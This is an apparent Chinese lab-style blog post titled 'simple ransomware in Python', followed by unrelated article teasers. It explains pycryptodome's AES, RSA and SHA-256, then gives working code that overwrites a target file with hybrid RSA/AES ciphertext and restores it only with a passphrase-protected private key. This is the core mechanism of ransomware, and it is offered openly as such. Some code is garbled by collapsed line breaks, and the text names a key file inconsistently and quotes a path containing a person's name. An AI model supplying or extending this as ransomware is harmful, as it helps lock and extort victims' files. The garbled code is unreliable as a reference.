python简易实现勒索病毒
python简易实现勒索病毒
- 1.首先介绍Crypto库
- 1.1首先是对称加密
- 1.2 非对称加密
- 1.3 哈希
- 2.生成RSA密钥并保存
- 3.文件加密
- 4.文件解密
- 1. 导入必要的模块
- 2. 定义解密函数
- 3. 设置私钥的密码
- 4. 打开并读取文件
- 5. 导入私钥
- 6. 读取加密数据
- 7. 解密会话密钥
- 8. 创建 AES 解密器
- 9. 解密数据
- 10. 将解密后的数据写回文件
- 11. 调用解密函数
1.首先介绍Crypto库
本次实验主要使用Crypto库实现简易的加密解密
1.1首先是对称加密
从cipher中引入AES并且用于创建AES加密器,使用get_random_bytes生成密钥,并作为AES加密器的参数,对明文采用encrypt_and_digest库加密。
然后采用
cipher =AES.new(key,AES.MODE_EAX,nonce=cipher.nonce)
设计解密器并使用decrypt_and_verify进行解密
# 对称加密算法
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes# 生成密钥
key = get_random_bytes(16) # 16 字节的密钥
# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_EAX) # 创建 AES 加密器,使用 EAX 模式
# 待加密的明文
plaintext = b'This is a secret message'
# 加密
ciphertext , tag = cipher.encrypt_and_digest(plaintext) # 加密并生成标签print("加密后的密文:", ciphertext)
print("标签:", tag)
# 初始化解密器
cipher = AES.new(key,AES.MODE_EAX,nonce=cipher.nonce)
# 解密
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag) # 解密并验证标签print("解密后的明文:", decrypted_text)
这段代码是用Python编写的,使用了pycryptodome
库来实现RSA加密和解密过程,以下是对这段代码的详细解释:
1.2 非对称加密
导入必要的模块
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
Crypto.PublicKey
模块提供了公钥加密算法的实现,RSA
是其中的一种算法。Crypto.Cipher
模块提供了加密算法的实现,PKCS1_OAEP
是RSA加密的一种模式,它提供了一种更安全的加密方式,可以防止一些简单的攻击。
生成密钥对
key_pair = RSA.generate(2048)
RSA.generate(2048)
生成一个2048位的RSA密钥对,包括公钥和私钥。key_pair
是一个包含公钥和私钥的对象。
定义明文
plaintext = b'This is the message to be encrypted'
- 定义了一个明文消息,这是一个字节串,因为RSA加密需要对字节数据进行操作。
使用PKCS1_OAEP模式加密
cipher = PKCS1_OAEP.new(key_pair.public_key())
ciphertext = cipher.encrypt(plaintext)
print("加密后的密文:", ciphertext)
PKCS1_OAEP.new(key_pair.public_key())
创建了一个使用公钥的加密对象。cipher.encrypt(plaintext)
使用公钥对明文进行加密,得到密文。- 打印加密后的密文。
解密
decipher = PKCS1_OAEP.new(key_pair)
decrypted_text = decipher.decrypt(ciphertext)
print("解密后的明文:", decrypted_text)
PKCS1_OAEP.new(key_pair)
创建了一个使用私钥的解密对象。decipher.decrypt(ciphertext)
使用私钥对密文进行解密,得到明文。- 打印解密后的明文。
完整代码:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
# 生成密钥对
key_pair = RSA.generate(2048)
# 明文
plaintext = b'This is the message to be encrypted'
# 使用PKCS1_OAEP模式加密
cipher = PKCS1_OAEP.new(key_pair.public_key())
ciphertext = cipher.encrypt(plaintext)
print("加密后的密文:", ciphertext)
# 解密
decipher = PKCS1_OAEP.new(key_pair)
decrypted_text = decipher.decrypt(ciphertext)
print("解密后的明文:", decrypted_text)
1.3 哈希
完整代码:
from Crypto.Hash import SHA256
# 明文
plaintext = b'This is the message to be hashed'
# 哈希
hash_value = SHA256.new(plaintext).digest()
print("哈希值:", hash_value.hex())
2.生成RSA密钥并保存
CreateRSA.py,这是用来生成RSA秘钥对儿的,生成的私钥会保存在zmy_rsa文件里,生成的公钥会保存在zmy_rsa.pub文件里。
from Crypto.PublicKey import RSA
def CreateRSAKeys():code = 'nooneknows'# 生成 2048 位的 RSA 密钥key = RSA.generate(2048)encrypted_key = key.exportKey(passphrase=code, pkcs=8, protection="scryptAndAES128-CBC")# 生成私钥with open('zmy_rsa', 'wb') as f:f.write(encrypted_key)# 生成公钥with open('zmy_rsa.pub', 'wb') as f:f.write(key.publickey().exportKey())CreateRSAKeys()
这段代码使用Python的Crypto库生成2048位的RSA密钥对,将私钥用密码"nooneknows"加密后保存为zmy_rsa文件,同时将公钥保存为zmy_rsa.pub文件,实现了基本的非对称密钥生成功能。
3.文件加密
- 加密流程概述
读取目标文件(二进制模式)。
生成随机AES会话密钥(16字节)。
用RSA公钥加密会话密钥(确保只有私钥持有者能解密)。
用AES密钥加密文件内容(高效对称加密)。
将加密后的数据写入原文件(覆盖原内容)。 - 代码逐行解析
(1)导入加密库
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
AES:对称加密算法,用于加密文件内容。
PKCS1_OAEP:RSA加密填充方案(安全模式)。
RSA:非对称加密,用于加密会话密钥。
get_random_bytes:生成随机密钥。
(2)加密函数 Encrypt(filename)
def Encrypt(filename):data = ''with open(filename, 'rb') as f:data = f.read() # 读取原始文件内容
以二进制模式(‘rb’)读取文件内容到 data 变量。
(3)生成并加密会话密钥
with open(filename, 'wb') as out_file:recipient_key = RSA.import_key(open('python-file-encryption\zmy_rsa.pub').read())session_key = get_random_bytes(16) # 生成16字节AES密钥cipher_rsa = PKCS1_OAEP.new(recipient_key)out_file.write(cipher_rsa.encrypt(session_key)) # 写入加密后的会话密钥recipient_key:从文件加载RSA公钥(zmy_rsa.pub)。
session_key:随机生成的16字节AES密钥(每次加密不同)。
cipher_rsa.encrypt(session_key):用RSA公钥加密会话密钥,写入文件。
(4)加密文件内容(AES)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data) # 加密并生成认证标签
out_file.write(cipher_aes.nonce) # 写入随机nonce(初始化向量)
out_file.write(tag) # 写入认证标签(防篡改)
out_file.write(ciphertext) # 写入加密后的文件内容
AES.MODE_EAX:一种安全的AES加密模式(支持认证)。
nonce:随机数,确保相同明文每次加密结果不同。
tag:完整性校验标签,防止密文被篡改。
ciphertext:加密后的文件内容。
(5)调用加密函数
Encrypt("filename")
对指定路径的文件进行加密。
3. 加密后的文件结构
最终文件内容按顺序包含:
RSA加密的AES会话密钥(长度取决于RSA密钥大小,如2048位→256字节)。
AES的nonce(16字节)。
认证标签tag(16字节)。
加密后的文件内容(长度与原文件相同)。
4. 为什么混合使用RSA和AES?
RSA:加密短数据(如会话密钥),但速度慢,不适合大文件。
AES:加密大文件高效,但需要安全传递密钥。
结合优势:用RSA传递AES密钥,用AES加密文件。
5. 安全性注意事项
公钥必须可信:若攻击者替换公钥,可解密会话密钥。
nonce和tag不可篡改:否则解密会失败。
覆盖原文件:加密后原文件丢失,需提前备份。
密钥管理:私钥(zmy_rsa.priv)必须严格保密,否则所有文件可被解密。
6. 如何解密?
需另一段代码用RSA私钥解密会话密钥,再用AES解密文件内容。解密流程:
读取加密文件的前256字节(RSA加密的AES密钥)。
用RSA私钥解密出AES会话密钥。
读取后续的nonce、tag和密文。
用AES解密并验证完整性。
总结
这段代码是一个典型的混合加密系统,结合了RSA的安全性和AES的高效性,适用于文件加密场景。实际应用中需注意密钥管理和错误处理(如文件不存在、密钥无效等)。
4.文件解密
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEPdef Descrypt(filename):code = 'nooneknows'with open(filename, 'rb') as fobj:# 导入私钥private_key = RSA.import_key(open('python-file-encryption\zmy_rsa').read(), passphrase=code)# 会话密钥, 随机数,消息认证码,机密的数据enc_session_key, nonce, tag, ciphertext = [fobj.read(x)for x in (private_key.size_in_bytes(),16, 16, -1)]cipher_rsa = PKCS1_OAEP.new(private_key)session_key = cipher_rsa.decrypt(enc_session_key)cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)# 解密data = cipher_aes.decrypt_and_verify(ciphertext, tag)with open(filename, 'wb') as wobj:wobj.write(data)Descrypt("filename")
这段代码是一个使用 Python 的 pycryptodome
库实现的文件解密程序,主要功能是解密一个使用 RSA 和 AES 加密的文件。以下是代码的详细解释:
1. 导入必要的模块
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
Crypto.PublicKey.RSA
:用于处理 RSA 加密和解密。Crypto.Cipher.AES
:用于处理 AES 加密和解密。Crypto.Cipher.PKCS1_OAEP
:用于处理 RSA 的 OAEP 填充模式,这是一种安全的 RSA 加密方式。
2. 定义解密函数
def Descrypt(filename):
- 定义了一个名为
Descrypt
的函数,接受一个参数filename
,表示要解密的文件路径。
3. 设置私钥的密码
code = 'nooneknows'
- 定义了一个字符串变量
code
,值为'nooneknows'
,这是用于解密私钥的密码。
4. 打开并读取文件
with open(filename, 'rb') as fobj:
- 使用
with
语句以二进制读取模式 ('rb'
) 打开文件,文件路径由filename
参数指定。 fobj
是文件对象,用于后续读取文件内容。
5. 导入私钥
private_key = RSA.import_key(open('python-file-encryption\zmy_rsa').read(), passphrase=code)
- 打开路径为
'python-file-encryption\zmy_rsa'
的文件,读取其内容。 - 使用
RSA.import_key
方法导入私钥,并传入passphrase=code
,即私钥的密码'nooneknows'
。
6. 读取加密数据
enc_session_key, nonce, tag, ciphertext = [fobj.read(x)for x in (private_key.size_in_bytes(),16, 16, -1)]
- 从文件中依次读取以下数据:
enc_session_key
:加密的会话密钥,长度为私钥的字节大小(private_key.size_in_bytes()
)。nonce
:随机数,长度为 16 字节。tag
:消息认证码,长度为 16 字节。ciphertext
:加密的数据,读取剩余的所有内容(-1
表示读取到文件末尾)。
7. 解密会话密钥
cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)
- 使用
PKCS1_OAEP.new
创建一个 RSA 解密器,传入私钥private_key
。 - 使用
cipher_rsa.decrypt
方法解密enc_session_key
,得到会话密钥session_key
。
8. 创建 AES 解密器
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
- 使用
AES.new
创建一个 AES 解密器,传入会话密钥session_key
、模式AES.MODE_EAX
和随机数nonce
。
9. 解密数据
data = cipher_aes.decrypt_and_verify(ciphertext, tag)
- 使用
cipher_aes.decrypt_and_verify
方法解密ciphertext
,并验证消息认证码tag
。 - 如果验证通过,返回解密后的数据
data
。
10. 将解密后的数据写回文件
with open(filename, 'wb') as wobj:wobj.write(data)
- 使用
with
语句以二进制写入模式 ('wb'
) 打开文件,文件路径由filename
参数指定。 - 将解密后的数据
data
写入文件。
11. 调用解密函数
Descrypt("filename")
- 调用
Descrypt
函数,传入文件路径"D:/a_yan0/lesuo/2130090224 张天奇.docx"
,对该文件进行解密。
这段代码实现了一个文件解密程序,主要步骤包括:
- 导入必要的模块。
- 定义解密函数,设置私钥密码。
- 打开并读取加密文件。
- 导入私钥,读取加密数据。
- 解密会话密钥。
- 创建 AES 解密器,解密数据。
- 将解密后的数据写回文件。
- 调用解密函数,对指定文件进行解密。
相关文章:
python简易实现勒索病毒
python简易实现勒索病毒 1.首先介绍Crypto库1.1首先是对称加密1.2 非对称加密1.3 哈希 2.生成RSA密钥并保存3.文件加密4.文件解密1. 导入必要的模块2. 定义解密函数3. 设置私钥的密码4. 打开并读取文件5. 导入私钥6. 读取加密数据7. 解密会话密钥8. 创建 AES 解密器9. 解密数据…...
Nacos源码—4.Nacos集群高可用分析三
大纲 6.CAP原则与Raft协议 7.Nacos实现的Raft协议是如何写入数据的 8.Nacos实现的Raft协议是如何选举Leader节点的 9.Nacos实现的Raft协议是如何同步数据的 10.Nacos如何实现Raft协议的简版总结 6.CAP原则与Raft协议 (1)CAP分别指的是什么 (2)什么是分区以及容错 (3)为…...
AWS WebRTC如何实现拉流?内部是这样实现的
当我们通过手机上的app选择某一个Iot设备,例如,摄像头,想看实时视频的时候,aws都做了什么?最近在搞自研Iot项目,借机整理一下相关流程。 App通过 AWS SDK 发起拉流请求的内部机制是AWS Kinesis Video Streams (KVS) WebRTC 模式中一个非常关键的问题。 一、KVS WebRTC …...
NGINX `ngx_http_browser_module` 深度解析与实战
1. 模块定位 ngx_http_browser_module 在 HTTP 头 User-Agent 解析的基础上,给出三个内置变量: 变量作用典型值$modern_browser当 UA 被判定为 现代浏览器 时取 modern_browser_value 指定的值;否则为空modern. / 1$ancient_browser当 UA 被…...
Elasticsearch知识汇总之 ElasticSearch高可用方案
六 ElasticSearch高可用方案 6.1 高可用架构 请求协调节点根据负载均衡,转发给主分片节点,主分片同步复制给从节点,主从节点都写入完成返回客户端请求成功。对于读请求,协调负载到任意节点数据节点,数据节点把各自符合…...
多线程2-多线程编程
引入 当我们想要代码能够实现并发执行时,我们可以使用多进程进行并发编程(在Java中并不推荐这种方式,许多API在Java标准库中都没有提供),也可以使用多线程进行并发编程(系统提供了相关的API,Ja…...
电商系统中单商户和多商户的区别
在电商的商业版图上,单商户与多商户模式如同两条并行的发展脉络,各自构建起独特的商业生态。它们在运营逻辑、商业模式等多方面存在显著差异,这些差异不仅塑造了不同的平台特性,也深刻影响着企业的发展路径。接下来,我…...
【东枫科技】代理英伟达产品:智能网卡的连接线
文章目录 总览详细:NVIDIA 400Gb/s QSFP-DD 线缆详细:NVIDIA 400Gb/s OSFP 线缆详细:NVIDIA 200Gb/s QSFP56 线缆详细:NVIDIA 100Gb/s QSFP28 线缆 总览 详细:NVIDIA 400Gb/s QSFP-DD 线缆 详细:NVIDIA 400…...
使用ip池后,爬虫还被封,是什么原因呢?
嘿,亲爱的小伙伴们!今天我们聊一个让很多爬虫工程师抓狂的问题:明明用上了IP池,结果爬虫还是被封了!怎么回事呢?如果你也曾在爬虫与反爬的“猫鼠游戏”里痛苦“翻车”,别着急,这篇文…...
C++23 新利器:深入解析栈踪迹库 (P0881R7)
文章目录 为何需要标准化的栈踪迹?P0881R7 的核心组件与使用基本用法示例与异常处理的集成优势与价值潜在的考量总结 对于 C 开发者而言,调试和错误诊断一直是开发周期中不可或缺但又充满挑战的一环。当程序崩溃或发生未预期行为时,获取清晰、…...
2025-05-06 事业-独立开发项目-记录
摘要: 2025-05-06 事业-独立开发项目-记录 独立开发项目记录 Product Hunt | InDev 独立开发者导航站https://www.producthunt.com/ Nomads.com - Best Places to Live for Digital Nomads (formerly Nomad List)https://nomads.com/ InDev 独立开发者导航站https://indev.bei…...
【Linux系统】探索进程等待与程序替换的奥秘
文章目录 前言一、重谈进程创建1.1 fork 函数1.2 写时拷贝1.3 fork 的常规用法1.4 fork 调用失败的原因1.5 创建一批进程 二、进程终止2.1 进程退出场景2.2 strerror 函数的作用2.3 errno 全局变量2.4 程序异常机制2.5 进程退出方式 三、进程等待3.1 进程等待必要性3.2 进程等待…...
Github 2025-05-06Python开源项目日报 Top10
根据Github Trendings的统计,今日(2025-05-06统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目10C++项目2TypeScript项目1系统设计指南 创建周期:2507 天开发语言:Python协议类型:OtherStar数量:241693 个Fork数量:42010 次…...
【愚公系列】《Manus极简入门》021-音乐创作助手:“音符魔术师”
🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! …...
【Azure Redis】Redis导入备份文件(RDB)失败的原因
问题描述 在测试Azure Redis的导入/导出备份文件的功能中,突然发现在Redis 4.0上导入的时候,一直报错。 image.png 问题解答 因为门户上只是显示导入失败,没有任何错误消息说明。根据常理推断,Redis 的RDB文件格式都具有一致性。居…...
git “分离头指针”(detached HEAD) 状态。
在 Git 中,当你运行 git branch 命令时,看到如下输出: * (detached from 5b596b5)master 其中的: * (detached from 5b596b5) 表示你当前处于 “分离头指针”(detached HEAD) 状态。 🧠 什…...
Gitee的介绍
目录 1.Gitee介绍: 1.1 代码托管 1.2 本土化优势 1.3 企业级服务 1.4 开源生态 1.5 多形态适配 定位:国内开发者首选的高效代码协作平台,兼顾个人开源与企业级私有开发需求。 2.Gitee和GitHub区别 3.Gitee使用教程 4.Gitee相关…...
NoUniqueKey问题和Regular join介绍
问题背景 在flink任务中,遇到了 NoUniqueKey Join的情况,导致了数据膨胀,和下游结果与数据库数据不一致问题 那NoUniqueKey Join为什么会导致问题呢,下面是其中一种场景示例: 为什么会出现 NoUniqueKey :…...
TC8:SOMEIP_ETS_027-028
SOMEIP_ETS_027: echoUINT8 目的 检查method方法echoUINT8的参数及其顺序能够被顺利地发送和接收 说白了就是检查UINT8数据类型参数在SOME/IP协议层的序列化与反序列化是否正常。 UINT8相比于测试用例SOMEIP_ETS_021: echoINT8中的SINT8数据类型来说,属于无符号整数,也就是…...
小微企业SaaS ERP管理系统,SpringBoot+Vue+ElementUI+UniAPP
小微企业的SaaS ERP管理系统,ERP系统源码,ERP管理系统源代码 一款适用于小微企业的SaaS ERP管理系统, 采用SpringBootVueElementUIUniAPP技术栈开发,让企业简单上云。 专注于小微企业的应用需求,如企业基本的进销存、询价&#…...
css filter 常用方法函数和应用实例
1. blur() 模糊 filter: blur(半径);参数:模糊半径(像素),值越大越模糊 示例:filter: blur(5px);2. brightness() 亮度 filter: brightness(百分比); 参数:1原始对比度,0全灰,>…...
chrome inspect 调试遇到的问题
1、oppp 手机打开webview 的时候, 报错这个并没有页面 Offline #V8FIG6SGLN75M7FY Pending authentication: please accept debugging session on the device. 解决方法,保持chrome 浏览器在显示的状态 去设置里开启usb 调试再关闭,反复重…...
Kotlin 中 List 和 MutableList 的区别
在 Kotlin 中,List 和 MutableList 是两种不同的集合接口,核心区别在于可变性。 Kotlin 集合框架的重要设计原则:通过接口分离只读(read - only)和可变(mutable)操作,以提高代码的安…...
openssl 生成自签名证书实现接口支持https
1.下载安装openssl Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 2.配置环境变量 将 openssl 的目录(D:\tools\openssl\bin)添加到 path 中 3.生成自签名证书 找一个存证书的目录打开powershell 3.1 生成私钥 openssl gen…...
React 中集成 Ant Design 组件库:提升开发效率与用户体验
React 中集成 Ant Design 组件库:提升开发效率与用户体验 一、为什么选择 Ant Design 组件库?二、基础引入方式三、按需引入(优化性能)四、Ant Design Charts无缝接入图标前面提到了利用Redux提供全局维护,但如果在开发时再自己手动封装组件,不仅效率不高,可能开发的组件…...
神经网络:节点、隐藏层与非线性学习
神经网络:节点、隐藏层与非线性学习 摘要: 神经网络是机器学习领域中一种强大的工具,能够通过复杂的结构学习数据中的非线性关系。本文从基础的线性模型出发,逐步深入探讨神经网络中节点和隐藏层的作用,以及它们如何…...
vue+tsc+noEmit导致打包报TS类型错误问题及解决方法
项目场景: 提示:这里简述项目相关背景: 当我们新建vue3项目,package.json文件会自动给我添加一些配置选项,这写选项基本没有问题,但是在实际操作过程中,当项目越来越复杂就会出现问题,本文给大家分享vuetscnoEmit导致打包报TS类型错误问题及…...
Ragflow服务器上部署教程
参考官方文档进行整理 克隆相应代码 git clone https://github.com/infiniflow/ragflow.git修改vm.max_map_count sudo sysctl -w vm.max_map_count262144修改 daemon.json文件 {"registry-mirrors": ["https://docker.m.daocloud.io","https://0…...
Ubuntu 系统中解决 Firefox 中文显示乱码的完整指南
Firefox 是一款流行的网络浏览器,但在 Ubuntu 系统中有时会遇到中文显示乱码的问题。本文将为您提供一个全面的解决方案,帮助您轻松解决这个烦人的问题。 问题概述 在 Ubuntu 系统中使用 Firefox 浏览器时,有时会发现中文字符显示为乱码或方块。这通常是由于缺少合适的中文…...
JVM——垃圾回收
垃圾回收 在Java虚拟机(JVM)的自动内存管理中,垃圾回收(Garbage Collection, GC)是其核心组件之一。它负责回收堆内存中不再使用的对象所占用的内存空间,以供新对象的分配使用。下面我们将深入探讨JVM中的…...
【AI News | 20250506】每日AI进展
AI Repos 1、gitsummarize GitSummarize是一个在线工具,用户只需将GitHub URL中的“hub”替换为“summarize”,即可为任何公开或私有代码库生成交互式文档。该工具利用Gemini分析代码结构,自动生成系统级架构概述、目录和文件摘要、自然语言…...
LabVIEW高冲击加速度校准系统
在国防科技领域,高 g 值加速度传感器广泛应用于先进兵器研制,如深侵彻系统、精确打击弹药及钻地弹药等。其性能指标直接影响研究结果的准确性与可靠性,因此对该传感器进行定期校准意义重大。高冲击加速度校准系统具备多方面功能,适…...
优化算法 - intro
优化问题 一般形式 minimize f ( x ) f(\mathbf{x}) f(x) subject to x ∈ C \mathbf{x} \in C x∈C 目标函数 f : R n → R f: \mathbb{R}^n \rightarrow \mathbb{R} f:Rn→R限制集合例子 C { x ∣ h 1 ( x ) 0 , . . . , h m ( x ) 0 , g 1 ( x ) ≤ 0 , . . . , g r …...
从PotPlayer到专业播放器—基于 RTSP|RTMP播放器功能、架构、工程能力的全面对比分析
从PotPlayer到专业播放器SDK:工程项目怎么选择合适的播放方案? ——基于 RTSP、RTMP 播放器功能、架构、工程能力的全面对比分析 在许多音视频项目早期,我们都听过这句话: “本地测试就用 PotPlayer 播吧,能播就行了…...
EasyRTC嵌入式音视频通信SDK技术,助力工业制造多场景实时监控与音视频通信
一、背景 在数字化时代,实时监控广泛应用于安防、工业、交通等领域。但传统监控系统实时性、交互性欠佳,难以满足需求。EasyRTC作为先进实时通信技术,具有低延迟、高可靠、跨平台特性,能有效升级监控系统。融入EasyRTC后…...
MPay码支付系统第四方聚合收款码多款支付插件个人免签支付源码TP8框架全开源
一、源码描述 这是一套码支付源码(MPay),基于TP8框架,前端layui2.9后端PearAdmin,专注于个人免签收款,通过个人的普通收款码,即可实现收款通知自动回调,支持绝大多数商城系统&#…...
wrod生成pdf。[特殊字符]改背景
import subprocess import os,time from rembg import remove, new_session from PIL import Image import io from docxtpl import DocxTemplate, InlineImage from docx.shared import Inches input_folder ‘tupian’ # 输入文件夹 kouchu_folder ‘kouchu’ # 去背景图像…...
动手学深度学习12.1. 编译器和解释器-笔记练习(PyTorch)
以下内容为结合李沐老师的课程和教材补充的学习笔记,以及对课后练习的一些思考,自留回顾,也供同学之人交流参考。 本节课程地址:无 本节教材地址:12.1. 编译器和解释器 — 动手学深度学习 2.0.0 documentation 本节…...
数字文明时代开源技术驱动的商业范式重构:基于开源AI大模型、AI智能名片与S2B2C商城小程序源码的协同创新研究
摘要:数字文明时代,数字技术正以指数级速度重构全球经济与社会结构。本文聚焦开源AI大模型、AI智能名片与S2B2C商城小程序源码的协同创新机制,从技术架构、商业逻辑、实践案例三个维度展开系统研究。基于多行业实证数据,揭示开源技…...
【Bootstrap V4系列】学习入门教程之 组件-轮播(Carousel)
Bootstrap V4系列 学习入门教程之 组件-轮播(Carousel) 轮播(Carousel)一、How it works二、Example2.1 Slides only 仅幻灯片2.2 With controls 带控制装置2.3 With indicators 带指示器2.4 With captions 带字幕 轮播࿰…...
嵌入式openharmony标准鸿蒙系统驱动开发基本原理与流程
第一:鸿蒙概述 OpenHarmony采用多内核(Linux内核或者LiteOS)设计,支持系统在不同资源容量的设备部署。当相同的硬件部署不同内核时,如何能够让设备驱动程序在不同内核间平滑迁移,消除驱动代码移植适配和维护的负担,是OpenHarmony驱动子系统需要解决的重要问题。 …...
Leetcode 刷题记录 08 —— 链表第二弹
本系列为笔者的 Leetcode 刷题记录,顺序为 Hot 100 题官方顺序,根据标签命名,记录笔者总结的做题思路,附部分代码解释和疑问解答,01~07为C语言,08及以后为Java语言。 01 合并两个有序链表 /*** Definition…...
PaddlePaddle 和PyTorch选择与对比互斥
你遇到的错误信息如下: RuntimeError: (PreconditionNotMet) Tensors dimension is out of bound.Tensors dimension must be equal or less than the size of its memory.But received Tensors dimension is 8, memorys size is 0.[Hint: Expected numel() * Size…...
极新月报·2025.4人工智能投融资观察
“ AI投资从‘量’向‘质’过渡 ” 4月重点关注: 1、四月人工智能领域投融资事件105起,披露金额78.63亿人民币。 2、亿级人民币以上金额的投资事件共20起 。 3、四月人工智能领域出现1起IPO事件。 4、在所有融资事件里,除去股权投资&…...
C++ vector 介绍与使用
目录 1.vector是什么? 2.vector的使用 2.1vector的构造函数 2.2vector iterator 的使用 2.3vector 空间增长问题 2.4vector的增删查改 1.vector是什么? 1. vector是表示可变大小数组的序列容器。 2. 就像数组一样,vector也 采用连续的存储…...
可以下载blender/fbx格式模型网站
glbxz.com glbxz.com可以下载blender/fbx格式模型。当然里面有免费的...
Vi/Vim 编辑器详细指南
Vi/Vim 编辑器详细指南 简介一、模式详解1. 命令模式(Normal Mode)2. 插入模式(Insert Mode)3. 可视模式(Visual Mode)4. 命令行模式(Ex Mode)二、核心操作1. 保存与退出2. 导航与移动3. 编辑与文本操作4. 搜索与替换三、高级技巧1. 多文件与窗口操作2. 宏录制3. 寄存器…...
LeetCode 热题 100 22. 括号生成
LeetCode 热题 100 | 22. 括号生成 大家好,今天我们来解决一道经典的算法题——括号生成。这道题在 LeetCode 上被标记为中等难度,要求生成所有可能的并且有效的括号组合。这是一道非常经典的回溯法题目,非常适合用来练习递归和回溯的技巧。…...
UE5 MetaHuman眼睛变黑
第5个材质MI_EyeOcclusion_Inst修改成透明即可...
【C语言】--指针超详解(一)
目录 一.内存和地址 1.1--内存 1.2--如何理解编址 二.指针变量和地址 2.1--取地址操作符(&) 2.2--指针变量和解引用操作符(*) 2.2.1--指针变量 2.2.2--如何理解指针类型 2.2.3--解引用操作符 2.3--指针变量的大小 三.指针变量类型的意义 3.1--从指针的解引用方…...